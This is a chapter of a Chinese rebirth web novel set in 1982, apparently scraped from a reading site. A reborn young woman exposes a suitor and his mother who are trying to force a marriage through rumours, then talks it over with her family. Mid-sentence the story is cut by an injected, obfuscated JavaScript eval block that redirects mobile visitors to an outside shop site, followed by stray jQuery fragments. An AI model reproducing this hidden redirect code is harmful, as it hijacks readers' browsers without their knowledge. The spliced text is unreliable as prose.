文趣网 > 其他小说 > 乘风1982 > 5. 要做大老板
    “强迫罪!铁花生。”刘思敏笑眯眯地看着她,用手比了一个手枪的手势:“啪!枪毙。”

    赵母初听一哆嗦,随后反应过来:“吓唬谁呢,你们俩你情我愿的,怎么就强迫罪!”

    刘思敏扭头看她:“咱们在这从天亮吵到天黑,你说你情我愿?”

    赵母闭嘴,吵的就是刘思敏不承认,志强说逼着刘思敏承认,她不明白:“你疯了,你把我儿子送进去,你也嫁不出去。”

    刘思敏笑了:“谁说我疯了。假设这个事是真的,我还要嫁给强迫犯不成,一个强迫犯以后还能干出啥事也谁也不知道。万一哪天要杀我呢?”

    赵志强都惊呆了:“思敏,你咋能这么想我呢?”

    刘思敏当然知道。

    赵志强不敢,他除了窝囊废,奸懒馋滑最是胆小,这么说就是吓唬他。

    他了解她,她也一样了解他,只是他了解的是记忆里二十岁的刘思敏,不是三十八岁的。

    他如果是个大姑娘,嫁个男人被养着,应该是能过好日子的,但是刘思敏被当了十八年男人一样干活,她不愿意。

    既然他都诚心要毁了她,那她有什么理由保全他呢。

    赵母被气得发抖:“你胡说,你们俩啥事都没有,怎么就强迫罪了!净放狗臭屁。”

    刘思敏这次笑得开怀,去看吓得脸都白了的赵志强:“你娘说咱俩又没睡,你说呢。到底睡没睡啊?”

    刘母虽然解气,但是老三这一句又一句的,睡没睡的,听着真难受,扬声喊:“老三,别口没遮拦的。”

    刘思敏扭头看自家娘,表情讪讪的,三十八岁真没二十岁的时候觉得羞臊,被揭开脸皮,终于老嫩脸一红。

    村民有个婶子低低地哭出了声:“当初……我就是被强迫的……我娘说丢人,让我嫁。”

    那婶子的大儿子和刘思睿一样大,脸涨得通红:“娘,你瞎说啥呢。”

    那婶子狠狠朝大儿子甩了一嘴巴:“你闭嘴,你就是强迫犯的儿子,那个该死的,他咋死了!他咋不活着,该去吃铁花生!毁了我一辈子。”

    人群里挤过来两个姑娘,把婶子给搀扶走了。

    刘思敏记得那婶子,老伴死了有两年了,周围邻居都说她为人刻薄,老伴瘫痪照顾还不好。

    村民都不说话了,村里这样的事不少,从前有现在还有,都是这样的,结婚了事。

    赵母愣愣地看向四周,心里打鼓,她记得也是这样的:“你糊弄谁呢。”

    刘思敏开口:“你问问你儿子吧。现在是新中国,有法律。”

    赵志强忙拽住自家娘开口道:“没有的事。我娘,我娘瞎说的,连你手都没咋拉过,怎么可能睡觉。没结婚睡啥觉,我赵志强也不是那样的人啊!思敏也不是那样的人。”

    赵志强头摇得跟拨浪鼓似的。

    村里的二流子不信:“不是吧,你下午还和我显摆,说刘思敏身上可滑……”

    刘思睿几步冲过去,一拳打在二流子脸上,二流子想要起来揍人,徐向东也冲过去:“你再敢胡说八道。”

    二流子求饶:“也不是我说的,是赵志强说的。”

    赵志强看朝他冲过来的两人,忙求饶,刘思睿和徐向东终于有机会打人,不给他说话的机会拳脚就招呼,赵志强忙抱住头:“真不是我说的,我没说。”

    二流子怕刘思睿和徐向东再打他:“忙撇清,就是他说的,当时张二哥也在。”朝人群里喊:“张哥,张哥你快来说说,那个不是我说的就是赵志强。”

    人群里钻出一个大汉,不善地看向赵志强:“就是这怂说的,我也听见了。”

    赵志强一边躲一边喊:“你胡说。”

    张二呸的一口唾沫吐在地上:“你可真不是个玩意。要是我喜欢人家姑娘,维护名声还来不及。你这么个玩意,还不配我撒谎。”

    看了刘思敏一眼,没再多说。

    刘思敏记得前世赵志强打电话叫张哥,还被骂了一顿,就是这个人。

    刘思敏朝他点头表示感谢。

    张二愣了一下,点点头,没再看她,转身回了人群里。

    赵志强没法狡辩:“我胡说的,是我胡说的,想在兄弟们面前有面子。我没摸着思敏,思敏你说话啊!我明明没摸着,你就甩了我一个大嘴巴子。”接着竟然呜呜地哭了起来:“我这一下午净挨打了,你们不报公安我也要报了。”

    人群中发出一阵笑声。

    “这怂货,偷鸡不成蚀把米。”

    “可不是呢。”

    还有人问:“那啥真有强迫罪啊!”

    “肯定有啊。一家子大学生,这事能瞎忽悠吗?”

    “跟你们说,我一个远房堂哥搁京北郊区,说去看过强迫罪枪毙。”

    刘思敏接着说:“明明我们俩啥事没有,你们母子俩要败坏我名声,逼我嫁给你。你污我名声我大哥和二姐夫才打的你。在这之前是你让我打你的。你报公安,我就告你流氓罪,一样判刑三年。去吧,去报。”

    赵志强觉得冤死了:“我要冤死了。我啥也没干成,还挨了一顿揍。”接着反应过来:“不对,还有下午套我麻袋揍我的事呢。”

    刘思睿抻了抻中山装:“那得报啊,跟我们有啥关系,你让公安调查呗。”

    刘思睿和徐向东对视一眼,公安也查不出来,那地方多隐蔽。

    赵志强欲哭无泪。

    赵母一看张了张嘴,胳膊举着指了一圈,满肚子的污言秽语骂不出来:“哎呀妈呀!”往地上一坐,拍着大腿,号啕大哭。

    围观的人群哄然而笑。

    刘母高兴,朝身后喊:“卫星,把泔水桶倒喽,扶老砖爷回家吃饭。”

    刘卫星趴在大门口听到奶奶交代,噌噌地回屋颤颤巍巍地提起半桶泔水,哗啦一下泼到赵母脚边:“哎呀对不住赵奶奶,我是小孩儿,没有劲儿。”

    赵母气得也不敢说话。

    天黑透了。

    大哥一家带着两个孩子,二姐二姐夫,一大家子围坐在桌边,吃着贴饼子、猪肉熬白菜、大葱炒鸡蛋。

    刘父一进村就听说家里出事了,着急忙慌地往家赶。一进屋,听到欢声笑语,闻到饭菜的香味儿。

    听说下午的事,和家里交好的刘父的老战友老砖爷赶来帮忙,见刘思敏已经将事情解决,刘母便留他吃饭。

    老砖爷喝了一口酒,说道:“思敏丫头行啊!这应变能力,要不去当兵吧。你爹的战友里当大官的不多,我战友当大官的可不少。那些人孙子里优秀的后辈可真是不老少。”

    刘思敏给老砖爷倒上酒:“我都多大岁数了还去当兵,再说抱着不良目的混进部队,开玩笑呢嘛,这点觉悟孙女还是有的。”

    老砖爷很欣慰,哈哈地笑:“那不去部队也行,我给找个搁部队的对象吧。再别惦记赵志强那怂蛋。”

    刘思敏不好再驳,给老爷子夹了一筷子鸡蛋:“好,听老砖爷的。”

    刘父放了心,闺女没受影响就好,推门进去。

    刘思敏看见还年轻的爹,心里一酸,却不好表现出来。她若无其事地起身,把老砖爷旁边的位置让给爹:“爹,你先坐,我去倒点热水擦擦脸。”

    说着端着自己的碗放到炕边,和侄子卫星坐在一起。

    刘思敏推门出去拿洗脸盆,听到老砖爷夸:“思敏长大了,你家阴盛阳衰,女将都能顶半边天,你在不在的都不是啥大事。当初打仗的时候的血性哪去了,都教孩子些什么玩意。”

    这是老班长,刘父低头听训。

    刘思睿和徐向东都暗暗松口气,幸好老砖爷在,不然打了赵志强的事又要被父亲数落,乡里乡亲太不留情面了。

    刘思敏也叹气,这事不能怪父亲。大运动时,父亲作为臭老九,没少挨批斗。老砖爷是老红军,有他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792391|210438||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    罩着,父亲少受很多罪。

    那场运动轰轰烈烈,仿佛重型坦克碾过,再有棱角的人都被碾平了。

    父亲没受太大的罪,也总结出的人生经验,就是凡事留一线,日后好相见。

    如果她不是重生回来,她有什么勇气对抗赵家母子,她不知道这个时候城里的法律很严苛,这种人要蹲监狱。

    像赵母说的那样,大事化小,小事化了,嫁给了赵志强。

    可是人不能这么活着,就是因为爹教育他们这是处世原则,前世三兄妹束手束脚,过得都不算好。

    刘思敏端着水盆,看着屋里热热闹闹的一家人,她收起这些思绪,端着水盆进去:“爹,擦脸吃饭吧。”

    吃完饭爹去送老砖爷了。

    大哥和大嫂带着孩子先去睡,二姐想与娘和刘思敏一起睡,爹和二姐夫在另外一个炕上,爹去送老砖爷还没回来。

    娘数落她:“你个死丫头,那种话也敢往外说?”

    刘思敏这会儿才后怕,农村人闲工夫多最爱背后说闲话,爹娘还得在村里立足,但也没办法,脸上强撑着:“我不那么说,他能露馅儿?”

    “露馅儿是露馅儿了,你自己也让人嚼舌根子!”刘母愁得慌,“往后村里人得怎么说你?你还出不出门了?咋找对象。”

    刘思敏问母亲:“娘,你是怕爹回来说我吧?”

    刘父开门的手一顿,今天的事老班长路上都说了,不怪思敏,可是这孩子把事给做绝了。

    赵家人肯定记恨,四处说坏话,这以后咋找婆家。

    刘母也叹气:“你爹不这么说,我也愁啊。就算没那个名声了,你这厉害的名声可是传出去了。”

    刘思敏翻身坐起来:“可是老赵家诚心毁我,我凭啥还给他们留情面?今天不把话说明白,赵志强就以为我还得非他不嫁。”

    “再说,赵志强他妈这么做不就是奔着咱们都好说话,欺负老实人吗?我要是带着这个名声和赵志强结婚,娘,以后我过的是啥日子?”

    二姐也坐起身:“就是。现在就这么算计,以后还不一定干出啥事呢。再说了,缺了他张屠户还得吃连毛猪啦?我领思敏进城,在城里找对象,再不济卫东车间好些单身小伙子,我带思敏去相看相看。”

    “我也清楚,这口气不能忍下,可是你爹……”刘母叹气。

    刘思敏又说:“娘,这个事看起来是咱们一家的事,可你得想想,爹在村里小学,大哥在镇上中学。真让赵志强母子得逞,以后他们在学校咋抬得起头?那个名声和我冒虎气的名声哪个好?再说还有我大嫂娘家呢,人家仨儿子5个姑娘都没结婚,还有我大侄子卫星,他在学校同学们得咋说?”

    刘母一想也是这么个事,冒虎气总比那个名声好。

    徐向东在西屋接话:“思敏说得对。娘放心吧,思敏的婚事包在我和思慧身上。咱们思敏将来是要考大学的,咱们去城里找,一定给您找一个比赵志强好一百倍的女婿。”

    刘父开门进屋:“这事思敏做得对。都欺负到头上了,就不能再忍,人家再以为我们家好欺负。”

    爹娘都没再说什么,一家人安静地睡下。

    夜深人静,娘和二姐都睡着了,刘思敏却很精神,怎么也睡不着。

    感官回笼,她清楚地记得今天的事,清晰地记得昨天做了什么,吃了什么。

    反倒是前世种种好像很远,远到不仔细想都想不起来,她甚至怀疑,难道是做了一场预知梦?

    那梦也太长了,一辈子啊!那么惨的一辈子。

    她翻了个身,看着还年轻的二姐。

    月光下,她看着熟悉又陌生的老屋,终于接受了“重生”这件事。

    真好!

    年轻真好,重来一次真好!一切都还来得及。

    这辈子,她要考大学,要做买卖,做大老板。

    绝不再和赵志强纠缠。